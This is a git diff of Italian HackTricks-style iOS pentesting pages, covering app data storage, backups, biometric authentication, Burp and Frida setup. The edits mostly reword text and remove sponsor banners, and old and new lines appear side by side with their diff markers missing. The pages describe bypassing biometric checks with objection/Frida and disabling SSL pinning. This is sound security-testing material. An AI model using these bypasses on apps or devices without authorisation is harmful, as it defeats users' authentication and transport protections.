- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file impacchettati attraverso firme digitali.
- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi tramite firme digitali.
- **Gestione degli Asset**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
- **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
- **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
@ -194,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
Tra la miriade di informazioni che il file **Info.plist** può rivelare, voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
```bash
$ grep -i <keyword> Info.plist
```
@ -207,7 +204,7 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni
>
> Tuttavia, entrambe le cartelle (dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`).
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo **strumento objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -233,17 +230,17 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione.
- Questa directory è visibile agli utenti, ma **gli utenti non possono scriverci**.
- Il contenuto in questa directory **non è sottoposto a backup**.
- I contenuti di questa cartella sono utilizzati per **convalidare la firma del codice**.
- I contenuti di questa cartella sono utilizzati per **validare la firma del codice**.
**Directory dei dati:**
- **Documents/**
- Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione avvia la creazione di questi dati.
- Visibile agli utenti e **gli utenti possono scriverci**.
- Il contenuto in questa directory **è sottoposto a backup**.
- Il contenuto in questa directory è **sottoposto a backup**.
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
- **Library/**
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione plist.
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista di proprietà (plist).
- Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'app può creare sottodirectory personalizzate.
- **Library/Caches/**
- Contiene **file cache semi-persistenti.**
@ -253,11 +250,11 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **Library/Application Support/**
- Contiene **file** **persistenti** necessari per l'esecuzione dell'app.
- **Invisibile** **agli** **utenti** e gli utenti non possono scriverci.
- Il contenuto in questa directory **è sottoposto** **a backup**.
- Il contenuto in questa directory è **sottoposto** **a** **backup**.
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
- **Library/Preferences/**
- Utilizzato per memorizzare proprietà che possono **persistere anche dopo che un'applicazione è stata riavviata**.
- Le informazioni vengono salvate, non criptate, all'interno della sandbox dell'applicazione in un file plist chiamato \[BUNDLE_ID].plist.
- Le informazioni sono salvate, non crittografate, all'interno della sandbox dell'applicazione in un file plist chiamato \[BUNDLE_ID].plist.
- Tutti i coppie chiave/valore memorizzate utilizzando `NSUserDefaults` possono essere trovate in questo file.
- **tmp/**
- Utilizza questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'app.
@ -298,7 +295,7 @@ DVIA-v2:
```
**Controlla se l'app è crittografata**
Vedi se c'è qualche output per:
Verifica se c'è qualche output per:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
@ -360,15 +357,7 @@ double _field2;
```
Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Archiviazione Dati
## Archiviazione dei Dati
Per saperne di più su come iOS memorizza i dati nel dispositivo, leggi questa pagina:
@ -377,12 +366,12 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver controllato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e accedere a un altro**.\
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essersi disconnessi da un utente e aver effettuato l'accesso a un altro**.\
> L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente attuale e degli utenti precedentemente connessi.
### Plist
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averlo utilizzato intensivamente per vedere se nuovi dati vengono scritti.
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. Si consiglia di controllare questi file dopo aver installato l'app e dopo averlo utilizzato intensamente per vedere se vengono scritti nuovi dati.
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
@ -390,7 +379,7 @@ La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundatio
Questi dati non possono più essere accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**.
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con `ios nsuserdefaults get` di objection.
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con il comando `ios nsuserdefaults get` di objection.
Per trovare tutti i plist utilizzati dall'applicazione, puoi accedere a `/private/var/mobile/Containers/Data/Application/{APPID}` e eseguire:
```bash
@ -545,7 +534,7 @@ A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso**
Un modo per prevenire questo comportamento indesiderato è mettere uno schermo vuoto o rimuovere i dati sensibili prima di prendere lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
Di seguito è riportato un esempio di metodo di rimedio che imposterà uno screenshot predefinito.
Di seguito è riportato un esempio di metodo di remediation che imposterà uno screenshot predefinito.
Swift:
```swift
@ -605,7 +594,7 @@ Con iOS 8.0 e versioni successive, gli utenti possono installare estensioni di t
### **Prevenire la Cache dei Campi di Testo**
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione nella cache di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con:
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
@ -636,10 +625,10 @@ sono utili. Inoltre, **Xcode** offre un modo per raccogliere i log della console
1. Apri Xcode.
2. Collega il dispositivo iOS.
3. Naviga su **Finestra** -> **Dispositivi e Simulatori**.
3. Naviga su **Finestra** -> **Dispositivi e simulatori**.
4. Seleziona il tuo dispositivo.
5. Attiva il problema che stai investigando.
6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
6. Usa il pulsante **Apri console** per visualizzare i log in una nuova finestra.
Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale:
```bash
@ -647,33 +636,23 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Seguito da comandi per osservare le attività di log, che possono essere inestimabili per diagnosticare problemi o identificare potenziali perdite di dati nei log.
---
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Backup
Le **funzionalità di auto-backup** sono integrate in iOS, facilitando la creazione di copie dei dati del dispositivo tramite iTunes (fino a macOS Catalina), Finder (da macOS Catalina in poi) o iCloud. Questi backup comprendono quasi tutti i dati del dispositivo, escludendo elementi altamente sensibili come i dettagli di Apple Pay e le configurazioni di Touch ID.
### Rischi di Sicurezza
L'inclusione di **app installate e dei loro dati** nei backup solleva la questione della potenziale **perdita di dati** e il rischio che **modifiche ai backup possano alterare la funzionalità dell'app**. Si consiglia di **non memorizzare informazioni sensibili in testo semplice** all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi.
L'inclusione di **app installate e dei loro dati** nei backup solleva la questione della potenziale **perdita di dati** e il rischio che **le modifiche ai backup possano alterare la funzionalità delle app**. Si consiglia di **non memorizzare informazioni sensibili in testo semplice** all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi.
### Escludere File dai Backup
I file in `Documents/` e `Library/Application Support/` vengono salvati nei backup per impostazione predefinita. Gli sviluppatori possono escludere file o directory specifici dai backup utilizzando `NSURL setResourceValue:forKey:error:` con il `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'essere inclusi nei backup.
### Testare per Vulnerabilità
### Testare le Vulnerabilità
Per valutare la sicurezza del backup di un'app, inizia creando un **backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Per valutare la sicurezza del backup di un'app, inizia con il **creare un backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" alla radice del backup.
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -753,7 +732,7 @@ Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API:
- **`Security.framework`** per l'accesso ai servizi di keychain di basso livello, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al keychain.
> [!CAUTION]
> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (riferirsi a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### Implementazione dell'Autenticazione Locale
@ -770,7 +749,7 @@ Implementare **l'autenticazione locale** nelle app iOS comporta l'uso delle **AP
Il keychain offre la possibilità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite Touch ID o codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che un codice di accesso del dispositivo sia configurato.
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati configurati, a condizione che sia configurato un codice di accesso del dispositivo.
{{#tabs}}
{{#tab name="Swift"}}
@ -843,7 +822,7 @@ if (status == noErr) {
{{#endtab}}
{{#endtabs}}
Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di dialogo di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata.
Ora possiamo richiedere l'elemento salvato dal portachiavi. I servizi del portachiavi presenteranno la finestra di autenticazione all'utente e restituiranno i dati o nil a seconda che sia stata fornita o meno un'impronta digitale adeguata.
{{#tabs}}
{{#tab name="Swift"}}
@ -906,13 +885,13 @@ Se `LocalAuthentication.framework` è utilizzato in un'app, l'output conterrà e
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
Se viene utilizzato `Security.framework`, verrà mostrato solo il secondo.
Se `Security.framework` è utilizzato, solo il secondo verrà mostrato.
### Bypass del Framework di Autenticazione Locale
#### **Objection**
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
Per attivare questo bypass, viene impiegato il seguente comando:
```bash
@ -1030,7 +1009,7 @@ ios-serialisation-and-encoding.md
## Comunicazione di Rete
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia correttamente **validando il certificato TLS** del server.\
Per controllare questi tipi di problemi puoi usare un proxy come **Burp**:
Per controllare questi tipi di problemi puoi utilizzare un proxy come **Burp**:
{{#ref}}
burp-configuration-for-ios.md
@ -1039,11 +1018,11 @@ burp-configuration-for-ios.md
### Controllo del Nome Host
Un problema comune nella validazione del certificato TLS è controllare che il certificato sia stato firmato da una **CA** **fidata**, ma **non controllare** se **il nome host** del certificato è il nome host a cui si sta accedendo.\
Per controllare questo problema usando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione funziona ancora, allora qualcosa è vulnerabile.
Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione continua a funzionare, allora qualcosa è vulnerabile.
### Pinning del Certificato
Se un'applicazione sta utilizzando correttamente il SSL Pinning, allora l'applicazione funzionerà solo se il certificato è quello previsto. Quando si testa un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\
Se un'applicazione utilizza correttamente il SSL Pinning, allora l'applicazione funzionerà solo se il certificato è quello previsto. Quando si testa un'applicazione **questo potrebbe essere un problema poiché Burp servirà il proprio certificato.**\
Per bypassare questa protezione all'interno di un dispositivo jailbroken, puoi installare l'applicazione [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) o installare [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Puoi anche usare **objection's** `ios sslpinning disable`
@ -1061,8 +1040,8 @@ Puoi anche usare **objection's** `ios sslpinning disable`
### Hot Patching/Aggiornamento Forzato
Gli sviluppatori possono **patchare tutte le installazioni della loro app istantaneamente** senza dover ripresentare l'applicazione all'App Store e aspettare che venga approvata.\
A questo scopo si usa solitamente [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
Gli sviluppatori possono **patchare tutte le installazioni della loro app istantaneamente** senza dover reinviare l'applicazione all'App Store e aspettare che venga approvata.\
A questo scopo si utilizza solitamente [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Questo è un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malevoli, quindi è consigliato controllare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Potresti provare a scaricare una versione precedente dell'app a questo scopo.
### Terze Parti
@ -1073,7 +1052,7 @@ I servizi forniti dagli SDK di terze parti possono includere il tracciamento del
L'implementazione di servizi di terze parti di solito avviene in due forme: una libreria autonoma o un SDK completo. Per proteggere la privacy degli utenti, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonymizzato** per prevenire la divulgazione di Informazioni Personali Identificabili (PII).
Per identificare le librerie utilizzate da un'applicazione, il comando **`otool`** può essere impiegato. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive.
Per identificare le librerie utilizzate da un'applicazione, può essere impiegato il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive.
```bash
otool -L <application_path>
```
@ -1095,7 +1074,7 @@ otool -L <application_path>
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Corso gratuito IOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Corso gratuito IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
@ -1105,11 +1084,5 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
Accedi Oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Installazione del Certificato Burp sui Dispositivi iOS
Per l'analisi sicura del traffico web e il SSL pinning sui dispositivi iOS, Burp Suite può essere utilizzato sia tramite il **Burp Mobile Assistant** che tramite configurazione manuale. Di seguito è riportata una guida riassuntiva su entrambi i metodi:
@ -18,7 +10,7 @@ Per l'analisi sicura del traffico web e il SSL pinning sui dispositivi iOS, Burp
Il **Burp Mobile Assistant** semplifica il processo di installazione del Certificato Burp, configurazione del proxy e SSL Pinning. Ulteriori dettagli possono essere trovati nella [documentazione ufficiale di PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing).
### Passaggi di Installazione Manuale
### Passaggi per l'Installazione Manuale
1. **Configurazione del Proxy:** Inizia impostando Burp come proxy nelle impostazioni Wi-Fi dell'iPhone.
2. **Download del Certificato:** Naviga su `http://burp` nel browser del tuo dispositivo per scaricare il certificato.
@ -80,7 +72,7 @@ In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for
> [!NOTE]
> **Il simulatore iOS utilizzerà le configurazioni proxy del MacOS.**
### Configurazione del Proxy MacOS
### Configurazione Proxy MacOS
Passaggi per configurare Burp come proxy:
@ -90,13 +82,7 @@ Passaggi per configurare Burp come proxy:
![](<../../images/image (431).png>)
- Clicca su _**Ok**_ e poi su _**Apply**_
- Clicca su _**Ok**_ e poi su _**Apply**_
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.\
Accedi oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
## Installazione di Frida
@ -18,14 +13,14 @@ Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padro
4. Vai alla nuova sorgente Frida aggiunta.
5. Installa il pacchetto Frida.
Se stai usando **Corellium**, dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Se stai usando **Corellium** dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Dopo l'installazione, puoi usare sul tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\
Esegui anche **`frida-ps -Uia`** per controllare i processi in esecuzione del telefono.
## Frida senza dispositivo Jailbroken e senza patchare l'app
Controlla questo post del blog su come utilizzare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
Controlla questo post del blog su come usare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Installazione del Client Frida
@ -331,7 +326,7 @@ Puoi controllare i crash in:
- `~/Library/Logs/DiagnosticReports`
> [!WARNING]
> iOS memorizza solo 25 crash della stessa app, quindi è necessario pulirli o iOS smetterà di creare crash.
> iOS memorizza solo 25 crash della stessa app, quindi devi pulire o iOS smetterà di creare crash.
## Frida Android Tutorials
@ -339,14 +334,9 @@ Puoi controllare i crash in:
../android-app-pentesting/frida-tutorial/
{{#endref}}
## References
## Riferimenti
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,29 +1,25 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
La condivisione dei dati all'interno e tra le applicazioni sui dispositivi iOS è facilitata dal meccanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), che è suddiviso in due categorie principali:
- **Clipboard generale a livello di sistema**: Questo è utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per mantenere i dati anche dopo riavvii del dispositivo e disinstallazioni delle app, una funzionalità disponibile da iOS 10.
- **Clipboard personalizzate / denominate**: Queste sono specificamente per la condivisione dei dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID team, e non sono progettate per persistere oltre la vita del processo dell'applicazione che le crea, seguendo le modifiche introdotte in iOS 10.
- **Appunti generali a livello di sistema**: Questo viene utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per mantenere i dati anche dopo riavvii del dispositivo e disinstallazioni delle app, una funzionalità disponibile da iOS 10.
